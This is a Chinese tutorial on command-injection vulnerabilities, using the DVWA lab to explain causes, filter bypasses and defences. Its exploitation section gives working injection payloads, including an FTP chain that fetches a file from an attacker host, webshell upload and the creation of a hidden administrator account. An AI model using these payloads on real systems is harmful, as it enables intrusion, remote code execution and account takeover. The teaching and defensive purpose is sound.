WEB安全-命令执行漏洞

一、什么是命令执行漏洞？

1、概述

在Web 程序中，因为业务功能需求要通过Web前端传递参数到后台服务器上执行。

但由于开发人员没有对输入进行严格的过滤，导致攻击者可以构造一些额外的“带有非法目的”命令，去欺骗后台服务器执行这些非法命令。

在存在命令执行漏洞的情况下，如果Web 应用使用的是root权限，则该漏洞可以导致攻击者在服务器上执行任意命令。

以DVWA平台low 安全等级为例，我们来看看这个漏洞的具体成因，漏洞页面如下：

输入IP地址，点击Submit，就会执行ping命令：

查看后端代码：

首先通过php_uname('s')读取操作系统名，与Windows NT对比，判断是不是Windows系统。

如果是windows系统，则通过shell_exec()函数执行ping命令。

如果不是，则判断为Linux系统，执行ping -c 4命令。（因为Linux系统如果不指定发包数，就会一直ping下去）

可以看到，这里并没有对输入的’ip’参数做任何过滤，因此存在命令执行漏洞。

在Windows和Linux中，我们可以使用&来执行多条命令。输入8.8.8.8 & ipconfig ，结果如下：

ipconfig被一并执行了，并且成功返回结果。

这就是一个简单的命令执行漏洞，如果web应用为root权限，我们还可以执行创建用户等各类操作。

2、常见连接符

除了上面的&符，还有其他连接符，如下。

“|”：前面命令输出结果作为后面命令的输入内容；输入8.8.8.8|whoami ：

“||”：前面命令执行失败的时候才执行后面的命令；输入8.8.8.8||whoami ：

“&”：前面命令执行后接着执行后面的命令；

输入错误地址192.1.1.1&whoami：

“&&”：前面命令执行成功了才执行后面的命令；

输入错误地址192.1.1.1&&whoami：

此外，Linux系统还可以使用";"号进行连接。

3、常用命令执行函数

以PHP为例，常用的命令执行函数包括system、exec、shell_exec、passthru。

区别如下：

system：成功执行返回结果的最后一行，否则返回FALSE

exec：成功执行返回结果的最后一行

shell_exec：成功执行返回全部结果，否则返回NULL

passthru ：把命令的运行结果原样地直接输出到标准输出设备上

接下来我们来看看DVWA平台，其他安全等级是怎么防护和绕过的。

二、漏洞的分析

1、Medium等级

后端代码：

Medium等级新增str_replace()函数，将输入中的&&和;号替换为空。

但是我们还有&、|、||等符号可以使用。

输入8.8.8.8&whoami绕过：

可以看到，这里采用了黑名单过滤的防护方式。

2、High等级

部分后端代码：

可以看到high等级过滤的更多了，但是还是可以绕过，这里’| '里有个空格。
输入8.8.8.8|whoami，成功执行：

（强行留后门？？？）

3、Impossible等级

后端代码如下：

首先通过stripslashes()函数删除输入中的反斜杠。
然后通过explode()函数，以逗号为分隔符，对输入的内容进行分隔。
最后，使用is_numeric()函数，逐一检查分隔出的每一部分是不是数字。并且使用sizeof()函数判断分隔出来的内容是不是4部分，以此来判断用户输入的是不是IP。
白名单过滤，只有“数字.数字.数字.数字”类型的输入才会被执行，因此不存在命令执行漏洞了。

三、漏洞的利用示例

1、读取指定目录内容

例如读取目录C:\windows\

输入8.8.8.8|dir C:\windows\

2、读取指定文件内容

例如C:\windows\win.ini

输入8.8.8.8|type C:\windows\win.ini

查看网页源代码：

3、文件上传

在攻击者本地写一个php脚本，例如phpinfo.php，开启FTP服务。

输入8.8.8.8|echo open 192.168.211.1 > o&echo get phpinfo.php >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o

成功下载到服务器，如下：

尝试访问phpinfo.php，成功：

同理可上传webshell。

其他还包括创建管理员等操作，这里就不一一演示了：

127.0.0.1 | net user test 123 /add

127.0.0.1 | net localgroup administrators test /add

四、漏洞防御

1、对传入的命令进行严格的过滤

2、在后台对应用的权限进行控制，即使有漏洞，也不能执行高权限命令。

3、使用安全函数对输入转义

EscapeShellCmd()函数

EscapeShellArg()函数